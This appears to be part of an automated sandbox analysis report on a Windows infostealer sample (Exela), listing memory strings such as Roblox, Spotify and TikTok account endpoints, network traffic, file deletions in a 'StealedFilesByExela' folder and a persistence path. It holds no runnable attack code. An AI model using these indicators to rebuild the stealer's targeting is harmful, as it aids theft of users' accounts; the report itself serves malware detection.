memory: https://www.attrs.org/)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/Variomedia.svg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes).
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656121294.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656121294.000001FC75815000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1830677200.0000023B784B3000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1830677200.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999688240.000002DCD0950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1887954156.000002DCCF6FF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1960432373.000002DCD1E4C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1733994092.000002DCCF6FF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990364112.000002DCCF707000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1974031828.000002DCCF6FF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976363678.000002DCCF706000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1960818465.000002DCD1E4C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1956730714.000002DCCF6F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD0750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999688240.000002DCD0950000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1960432373.000002DCD1E4C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1960818465.000002DCD1E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656220023.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1830837521.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1975909415.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989967017.000002DCCF60B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1983700654.000002DCCF609000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969997805.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986134334.000002DCCE890000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662394777.000002DCCED46000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662353023.000002DCCED6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1987192175.000002DCCEF1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/P?
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.variomedia.de/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1979336001.000002DCCF0DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969024366.000002DCCF085000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1956504995.000002DCCF085000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969507113.000002DCCF0C2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1988968795.000002DCCF0E0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1887859569.000002DCCF085000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976001517.000002DCCF0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1733430816.000002DCCF075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zopeinterface.readthedocs.io/en/latest/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.docx	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.pdf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.pdf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.docx	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA79B8B	0_2_00007FF72AA79B8B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8842C	0_2_00007FF72AA8842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA96950	0_2_00007FF72AA96950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA77950	0_2_00007FF72AA77950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA9789C	0_2_00007FF72AA9789C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA96BCC	0_2_00007FF72AA96BCC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA97350	0_2_00007FF72AA97350
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA83330	0_2_00007FF72AA83330
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA924C4	0_2_00007FF72AA924C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA83CC0	0_2_00007FF72AA83CC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA88CB0	0_2_00007FF72AA88CB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA86510	0_2_00007FF72AA86510
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA94CFC	0_2_00007FF72AA94CFC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA82474	0_2_00007FF72AA82474
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8AA10	0_2_00007FF72AA8AA10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8EA90	0_2_00007FF72AA8EA90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA88278	0_2_00007FF72AA88278
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA82270	0_2_00007FF72AA82270
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA840C4	0_2_00007FF72AA840C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA790C0	0_2_00007FF72AA790C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8F110	0_2_00007FF72AA8F110
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA82884	0_2_00007FF72AA82884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA91518	0_2_00007FF72AA91518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA94860	0_2_00007FF72AA94860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA82064	0_2_00007FF72AA82064
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8E5FC	0_2_00007FF72AA8E5FC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA9A5D8	0_2_00007FF72AA9A5D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA79D2B	0_2_00007FF72AA79D2B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA91518	0_2_00007FF72AA91518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8842C	0_2_00007FF72AA8842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA7A55D	0_2_00007FF72AA7A55D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA82680	0_2_00007FF72AA82680
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA81E60	0_2_00007FF72AA81E60
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7842C	81_2_00007FF6E3A7842C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A69B8B	81_2_00007FF6E3A69B8B
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A86950	81_2_00007FF6E3A86950
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A67950	81_2_00007FF6E3A67950
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A8789C	81_2_00007FF6E3A8789C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A824C4	81_2_00007FF6E3A824C4
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A73CC0	81_2_00007FF6E3A73CC0
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A69D2B	81_2_00007FF6E3A69D2B
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A81518	81_2_00007FF6E3A81518
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A76510	81_2_00007FF6E3A76510
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A84CFC	81_2_00007FF6E3A84CFC
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A72474	81_2_00007FF6E3A72474
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A78CB0	81_2_00007FF6E3A78CB0
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A86BCC	81_2_00007FF6E3A86BCC
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A87350	81_2_00007FF6E3A87350
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A73330	81_2_00007FF6E3A73330
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A72270	81_2_00007FF6E3A72270
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7EA90	81_2_00007FF6E3A7EA90
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A78278	81_2_00007FF6E3A78278
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7AA10	81_2_00007FF6E3A7AA10
